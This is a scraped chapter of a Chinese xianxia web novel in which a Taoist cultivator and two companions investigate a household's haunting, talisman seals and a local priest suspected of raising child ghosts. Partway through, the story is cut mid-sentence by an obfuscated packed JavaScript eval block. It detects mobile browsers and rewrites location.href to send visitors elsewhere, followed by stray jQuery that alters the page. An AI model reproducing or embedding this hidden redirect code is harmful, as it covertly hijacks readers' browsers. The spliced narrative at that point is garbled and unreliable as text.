24. 畜鬼之家
作品:《父皇守寡三百年后》 宣蘅开始画符,摊开黄纸,笔锋转折,写出几个单独的符文。
“这是什么?”
像是故意考察宁凝的功课,宣蘅笑又不答:“你猜?”
宁凝把头凑过去,觉得这符文有点眼熟但又认不出来是什么,就好像考试的时候遇到眼熟的题目但是又不会写。
宁凝还没回答,旁边清濯立刻将她拉走:“镇鬼符。”
“主人小心,别碰!”
镇的就是她这种小鬼。
宣蘅转身道:“没关系,符文还没完成,没有效力的。”
她又对清濯表示赞许:“小弟弟,你看起来年纪小,懂得还挺多的。”
符篆最初的衍生是为庇护灵力低微或者没有灵力的凡人,借天地之力,为不可为之事。
也因此,天赋低的人也可以修符道,符篆常与“弱小”挂钩,仙族人汲取清气而生,天生可以使用灵力,看不起凡人符篆,嘲笑其为歪门邪道,不屑于触碰,但清濯并不这么以为。
强者修符,更是锦上添花。
清濯捏着宁凝的手:“以前学过一些。”
宣蘅解释道:“这些符文,都是从赵公子房间里贴着的,我现在是默记下来,你说得不错,他房间里贴着的,全都是镇妖符。”
“镇妖符?”宁凝说道,“镇压崇邪,他被妖祟缠身,屋里贴这些符文,不是很正常吗?”
宣蘅说道,“正常,也不完全正常,一般情况下,修士们若没有能力除掉邪祟,会用镇妖符将它镇于原地,防止它往别出去,作恶伤人,但在一种情形下,镇妖符也有另一重用处。”
宁凝:“什么用处?”
宁凝不懂符咒,继续追问。
宣蘅刚要说,忽然间感觉到什么,转头往门外看去。
“谁?”
宁凝和清濯齐齐回头,三道目光落在了门外提着食盒的小姑娘身上。
赵小姐被盯得惊吓,扶着门框怯生生地迈过门槛,有些结巴得说:“我听人说仙师问厨房要食材,猜你们饿了,所以给你们拿了点吃的来。”
之前她们见过面,赵小姐都是一副疯癫痴傻的模样,清醒过来后,大家才能看清她真实模样。
瘦矮瘦矮,脸色发黄,没有什么肉,看起来像一朵枯萎的鲜花。
宁凝语气淡淡:“我已经吃过了。”
她没有忘记,她被赵家人买回来,就是给这个小姐做丫鬟。要是她是个普通的女孩子,恐怕现在还被关在柴房里,忍饥受饿。
她和清濯达成共识,扮鬼吓完管家后,她就不再追究,但也别想让她对赵家人有什么好颜色。
赵小姐似乎没有听出宁凝语气中的逐客之意,依然走了进来,将食盒放在了宁凝面前,说道:“这些都是我平时喜欢吃的,你们现在不吃,也可以放一放,当下午茶。”
说着,她将目光转向了宣蘅,几次欲言又止,最终还是开口说道:“其实,我见过你。”
“初一那天,阿娘带着我出门去西山拜访紫升道人,我们的马车和你在雨中相逢,你没有撑伞也没有披蓑衣,阿娘见你可怜,送了你一把伞和点心,你记得吗?”
初一?
宣蘅在心里计算了一下日期。
是她复生的那天。
她当然不记得有过什么雨中相逢,这要么是这具身体原主人的经历,要么是她们编造的,不过她并没有原主人的记忆,半信半疑,不知可否。
她注意到了一个点,“你说你们那时候去拜访是紫什么道人?”
赵小姐说道:“紫升道人,阿娘每个月都会去拜访他,他是我们这里最有名的倒是,弟弟屋里的阵法,都是他帮忙布置的,要不是有他布阵压制了邪祟力量,死的人只会更多。”
屋里的阵法……宣蘅眉头微皱,“看起来不像个正派道士,不过赵夫人爱子心切,病急乱投医,到处寻求歪修野道帮忙,也是正常的。”
赵小姐不再提那个话题,把点心往他们身边推了推,“这些都是我精心挑选,平时我最爱吃的。”
和宣蘅说完话,她把目光转向宁凝,神色带有些许歉意,“对不起,我阿娘买你回来,其实是为了给我‘挡煞’的。”
她说道:“府上年纪比我小的弟弟妹妹都被崇邪害死了,嬷嬷说,崇邪杀人的顺序是由年纪小开始往年纪大的,按照年纪计算,下一个该轮到我了,阿娘心急,担心我也像他们一样出事,所以给我买了一些年纪更小的女孩进府,名义上是做我的丫鬟,实际上是替我去死,也就是‘挡煞’,只有有人比我年纪小,那我就不用死了。”
“管家是在我娘授意下去买丫鬟的,她是在帮我娘害人,我不想看我娘一错再错。”
她扫了一眼宁凝和她身边的清濯,“所以,你们还是快走吧,不然……”
她说得很诚恳,似乎是不想有人灾因她而死,“你们都会死的。”
“多谢提醒,但是他们都不会死。”宣蘅接话道。
宁凝心想,她三百岁,清濯一百岁,倘若那个邪祟真的能够看穿人都年纪,谁给谁挡煞,还不一定。
宣蘅下了逐客令,“你回去吧,你娘要是知道你来这里,会生气的。”
赵小姐缩着脖子,“我……”
宣蘅说道:“走吧。”
宣蘅的话说得足够明白,赵小姐只好离开。
宣蘅转身看向屋内两个小孩,把门关上,“两位,想请你们帮我一个小忙,可以吗?”
吃了她两顿饭,也该派上点用场了。
……
一刻钟后,宁凝和清濯溜进了平阳城府衙的藏书阁中,翻箱倒柜,查找资料。
还以为是什么惊险刺激的任务呢,原来就是最简单的翻书。
“县志县志…找到了…两年前……”
宁凝翻找着手中厚厚的平原县志,一目十行,“只有一些例行的耕地丈量、户籍登记,很普通,这一年风调雨顺,没有旱灾也没有雨灾没有瘟疫也没有邪祟作乱。”
宁凝不明白,为什么宣蘅会让她来翻两年前的县志,莫非这上面的记载和赵家的邪祟有关?
清濯手中捧着一本《风土人情志》,说道:“但是我这本却有,两年前三月,城东出现了天花十例,死者七人;九月,城西喝水决堤,淹垮民房三座,死者五人;十一月,城中火情,烧毁民房数十座……”
他合上书,“一些小疫病,一些小灾情,死了一些无关紧要的人,官员编修县志时,自然忽略掉,也就当做野史随便写写。”
宁凝奇怪,“你说什么……城东,那不是赵府所在地吗?”
宣蘅让她着重查的,就
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17210510|196677||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是两到三年前平阳城中有没有出现过天花的病历。
不仅有,还恰恰是两年前,赵府附近,也太巧了。
“小孩子身体弱,一旦得了疫病,九死一生,何况那是天花。”
宁凝之前觉得除妖是宣蘅该做的事,她也就是吃人嘴短帮宣蘅打个下手,她让做什么做就是了,但查到这里,好奇心驱使她追寻真相。
“对了,”宁凝想起宣蘅没来得及回复她的那个问题,“镇妖符还有另一重用处,那究竟是什么?”
清濯见多识广(仅限于符道),应该也会知道。
“谁在那里?”
一个粗犷的声音从外面传来,清濯反应力极快,拉起宁凝的手,就往外面翻去,抱着宁凝,滚进灌木丛。
府衙巡逻官员提着灯照过来,看见打开的窗户,风呼啦啦地吹着,吹得书架上纸页翻动。
粗心的巡官还以为是负责整理文档的官员忘记关窗,骂骂咧咧,“又忘,前天忘,昨天忘,今天忘,天天都忘,说多少次了还是忘,他怎么不忘记吃饭睡觉!”
他上前去将窗户一把拉上,嘟囔一声,“要是让野狸翻进来咬坏书籍看他该怎么办!”
躲在窗外灌木丛中的两个孩子搂在一起,呼吸相抵。
宁凝意识到了什么,“你的一叶障目呢?”
清濯在收敛气息变猫掩盖身份的时候会将一叶障目取出来,其他时候,都收在灵囊里。
他已经保持了一整天的人形。
清濯说:“借给那个女修了。”
宁凝心想,这不是仙界的神器吗,他说借就借,真大方。
他先替宁凝拍干净衣服上勾住的杂叶,再拍自己的,然后说道:“养小鬼。”
他接上了刚刚没有回答的那个问题,“镇才能养,所以养小鬼的人,也会用镇鬼符。”
“这就是镇鬼符另一种用处。”
……
天色渐渐暗了下来,平阳城西山外,一座小茶馆里。
茶馆老板正准备收摊,只见一个风尘仆仆的女子从树林后出来,白色的衣服沾满了泥灰,脸也是灰扑扑的,好像刚刚在泥里滚过一圈。
太久没有画过遁地符了,她遁得有点晕晕乎乎,有点分不清方向。
她来到摊前,问道,“老板,请问紫升道人是不是在这附近?”
老板是个热心肠,时常为来往的路人指路,广结善缘。
听到这话遥遥一指,“沿着这条路走,不出百米,就到仙人的洞府了。”
紫升道人喜静,就在城外山上寻到一个洞天福地修行。
来求道人办事的人不计其数,有平民百姓,也有达官显贵,他们经常路过老板的茶摊,但是像她这样,大晚上灰头土脸过来的,还是第一个。
“姑娘,你是不是有什么急事?”
老板热心提醒,“紫升道人避世而居,为人高傲,即便是城里的达官显贵见他,都要提前送上拜贴约定时间,带上礼物三请五拜,才能叩开洞府的门,你这样一个人莽撞去他府上拜见,要是冲撞人家,恐怕他今后都不会再见你。”
宣蘅笑了,“不会,他会见我的。”
不过当然不是自愿的。
正经拜访才需要白天前往。
偷鸡摸狗嘛,大晚上去最好了。

